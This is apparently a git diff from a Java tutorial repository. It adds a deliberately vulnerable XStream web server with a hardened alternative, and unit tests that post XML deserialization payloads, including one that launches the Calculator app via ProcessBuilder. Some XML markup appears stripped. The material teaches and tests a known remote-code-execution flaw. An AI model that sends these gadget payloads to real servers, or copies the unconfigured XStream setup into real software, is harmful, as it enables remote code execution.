diff --git a/xstream/pom.xml b/xstream/pom.xml index f75e10fc7d..b98e258599 100644 --- a/xstream/pom.xml +++ b/xstream/pom.xml @@ -11,6 +11,7 @@ com.baeldung parent-modules 1.0.0-SNAPSHOT + ../pom.xml @@ -28,8 +29,8 @@ - 1.4.9 + 1.4.10 1.3.8 - \ No newline at end of file + diff --git a/xstream/src/main/java/com/baeldung/rce/App.java b/xstream/src/main/java/com/baeldung/rce/App.java new file mode 100644 index 0000000000..3720c7fa93 --- /dev/null +++ b/xstream/src/main/java/com/baeldung/rce/App.java @@ -0,0 +1,92 @@ +package com.baeldung.rce; + +import com.sun.net.httpserver.HttpServer; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.security.NoTypePermission; +import com.thoughtworks.xstream.security.NullPermission; +import com.thoughtworks.xstream.security.PrimitiveTypePermission; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.util.HashSet; +import java.util.Set; + +/** + * Web application which is intentionally vulnerable to an XStream remote code + * exploitation (RCE). + * + *

+ * This test application is meant to maintain a set of {@link Person} models. It + * exposes a "/persons" endpoint which supports the following operations: + * + *

    + *
  1. {@code POST} XML for adding a new {@link Person} to the set + *
  2. {@code GET} for retrieving the set of {@link Person} models as XML + *
+ * + * The {@code POST} handler is vulnerable to an RCE exploit. + */ +public final class App { + + public static App createHardened(int port) { + final XStream xstream = new XStream(); + xstream.addPermission(NoTypePermission.NONE); + xstream.addPermission(NullPermission.NULL); + xstream.addPermission(PrimitiveTypePermission.PRIMITIVES); + xstream.allowTypes(new Class[] { Person.class }); + return new App(port, xstream); + } + + public static App createVulnerable(int port) { + return new App(port, new XStream()); + } + + private final int port; + private final Set persons; + private final XStream xstream; + private HttpServer server; + + private App(int port, XStream xstream) { + this.port = port; + persons = new HashSet<>(); + // this app is vulnerable because XStream security is not configured + this.xstream = xstream; + this.xstream.alias("person", Person.class); + } + + void start() throws IOException { + server = HttpServer.create(new InetSocketAddress("localhost", port), 0); + server.createContext("/persons", exchange -> { + switch (exchange.getRequestMethod()) { + case "POST": + final Person person = (Person) xstream.fromXML(exchange.getRequestBody()); + persons.add(person); + exchange.sendResponseHeaders(201, 0); + exchange.close(); + break; + case "GET": + exchange.sendResponseHeaders(200, 0); + xstream.toXML(persons, exchange.getResponseBody()); + exchange.close(); + break; + default: + exchange.sendResponseHeaders(405, 0); + exchange.close(); + } + }); + server.start(); + } + + void stop() { + if (server != null) { + server.stop(0); + } + } + + int port() { + if (server == null) + throw new IllegalStateException("Server not started"); + return server.getAddress() + .getPort(); + } +} diff --git a/xstream/src/main/java/com/baeldung/rce/Person.java b/xstream/src/main/java/com/baeldung/rce/Person.java new file mode 100644 index 0000000000..336c47798b --- /dev/null +++ b/xstream/src/main/java/com/baeldung/rce/Person.java @@ -0,0 +1,43 @@ +package com.baeldung.rce; + +import java.util.Objects; + +/** Person model */ +public final class Person { + + private String first; + private String last; + + public String getFirst() { + return first; + } + + public void setFirst(String first) { + this.first = first; + } + + public String getLast() { + return last; + } + + public void setLast(String last) { + this.last = last; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (!(o instanceof Person)) { + return false; + } + Person person = (Person) o; + return Objects.equals(first, person.first) && Objects.equals(last, person.last); + } + + @Override + public int hashCode() { + return Objects.hash(first, last); + } +} diff --git a/xstream/src/test/java/com/baeldung/rce/AppUnitTest.java b/xstream/src/test/java/com/baeldung/rce/AppUnitTest.java new file mode 100644 index 0000000000..3b541ae099 --- /dev/null +++ b/xstream/src/test/java/com/baeldung/rce/AppUnitTest.java @@ -0,0 +1,65 @@ +package com.baeldung.rce; + +import org.junit.After; +import org.junit.Before; +import org.junit.Test; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.SocketException; +import java.net.URL; + +import static org.junit.Assert.assertTrue; + +/** + * Unit test which demonstrates a remote code exploit against the {@link App} + * server. Sends an XML request containing an attack payload to the {@code POST} + * endpoint. + */ +public final class AppUnitTest { + + private App app; + + /** start a new web server */ + @Before + public void before() throws IOException { + app = App.createVulnerable(0); + app.start(); + } + + /** stop the web server */ + @After + public void after() { + if (app != null) + app.stop(); + } + + /** + * Test passes when an {@link IOException} is thrown because this indicates that + * the attacker caused the application to fail in some way. This does not + * actually confirm that the exploit took place, because the RCE is a + * side-effect that is difficult to observe. + */ + @Test(expected = SocketException.class) + public void givenAppIsVulneable_whenExecuteRemoteCodeWhichThrowsException_thenThrowsException() throws IOException { + // POST the attack.xml to the application's /persons endpoint + final URL url = new URL("http://localhost:" + app.port() + "/persons"); + final HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + connection.setRequestMethod("POST"); + connection.setDoOutput(true); + connection.setUseCaches(false); + connection.setRequestProperty("Content-Type", "application/xml"); + connection.connect(); + try (OutputStream os = connection.getOutputStream(); InputStream is = AppUnitTest.class.getResourceAsStream("/attack.xml")) { + byte[] buffer = new byte[1024]; + while (is.read(buffer) > 0) { + os.write(buffer); + } + } + final int rc = connection.getResponseCode(); + connection.disconnect(); + assertTrue(rc >= 400); + } +} diff --git a/xstream/src/test/java/com/baeldung/rce/AttackExploitedException.java b/xstream/src/test/java/com/baeldung/rce/AttackExploitedException.java new file mode 100644 index 0000000000..16c906abfc --- /dev/null +++ b/xstream/src/test/java/com/baeldung/rce/AttackExploitedException.java @@ -0,0 +1,7 @@ +package com.baeldung.rce; + +/** + * Indicates a successful remote code execution attack has taken place. + */ +final class AttackExploitedException extends RuntimeException { +} diff --git a/xstream/src/test/java/com/baeldung/rce/AttackExploitedExceptionThrower.java b/xstream/src/test/java/com/baeldung/rce/AttackExploitedExceptionThrower.java new file mode 100644 index 0000000000..16ed143f7a --- /dev/null +++ b/xstream/src/test/java/com/baeldung/rce/AttackExploitedExceptionThrower.java @@ -0,0 +1,13 @@ +package com.baeldung.rce; + +/** + * Class which contains an action to throw {@link AttackExploitedException}. + * This helper is used by {@link AppTest} to determine when the remote code + * exploit has taken place. + */ +final class AttackExploitedExceptionThrower { + + public void throwAttackExploitedException() { + throw new AttackExploitedException(); + } +} diff --git a/xstream/src/test/java/com/baeldung/rce/XStreamBasicsUnitTest.java b/xstream/src/test/java/com/baeldung/rce/XStreamBasicsUnitTest.java new file mode 100644 index 0000000000..d762813b22 --- /dev/null +++ b/xstream/src/test/java/com/baeldung/rce/XStreamBasicsUnitTest.java @@ -0,0 +1,82 @@ +package com.baeldung.rce; + +import com.thoughtworks.xstream.XStream; + +import org.junit.Before; +import org.junit.Test; + +import java.util.Collections; +import java.util.Map; + +import static org.junit.Assert.assertEquals; + +/** + * Demonstrates XStream basics + */ +public final class XStreamBasicsUnitTest { + + private XStream xstream; + + @Before + public void before() { + xstream = new XStream(); + xstream.alias("person", Person.class); + } + + @Test + public void whenWritePerson_thenWritesExpectedXml() { + Person person = new Person(); + person.setFirst("John"); + person.setLast("Smith"); + + String xml = xstream.toXML(person); + + // @formatter:off + String expected = "" + + "\n" + + " John\n" + + " Smith\n" + + ""; + // @formatter:on + assertEquals(expected, xml); + + } + + @Test + public void whenReadXmlAsPerson_thenReturnsNewPerson() { + // @formatter:off + String xml = "" + + "" + + " John" + + " Smith" + + ""; + // @formatter:on + + Person person = (Person) xstream.fromXML(xml); + + Person expected = new Person(); + expected.setFirst("John"); + expected.setLast("Smith"); + assertEquals(person, expected); + } + + @Test + public void givenXmlRepresentationOfMap_whenDeserialize_thenBuildsMap() { + // @formatter:off + String xml = "" + + "" + + " " + + " foo" + + " 10" + + " " + + ""; + // @formatter:on + @SuppressWarnings("unchecked") + Map actual = (Map) xstream.fromXML(xml); + + final Map expected = Collections.singletonMap("foo", 10); + + assertEquals(expected, actual); + } + +} diff --git a/xstream/src/test/resources/attack.xml b/xstream/src/test/resources/attack.xml new file mode 100644 index 0000000000..8a5713648c --- /dev/null +++ b/xstream/src/test/resources/attack.xml @@ -0,0 +1,12 @@ + + foo + + java.lang.Comparable + + + + throwAttackExploitedException + + + diff --git a/xstream/src/test/resources/calculator-attack.xml b/xstream/src/test/resources/calculator-attack.xml new file mode 100644 index 0000000000..ae24843dc6 --- /dev/null +++ b/xstream/src/test/resources/calculator-attack.xml @@ -0,0 +1,16 @@ + + foo + + java.lang.Comparable + + + + open + /Applications/Calculator.app + + + start + + +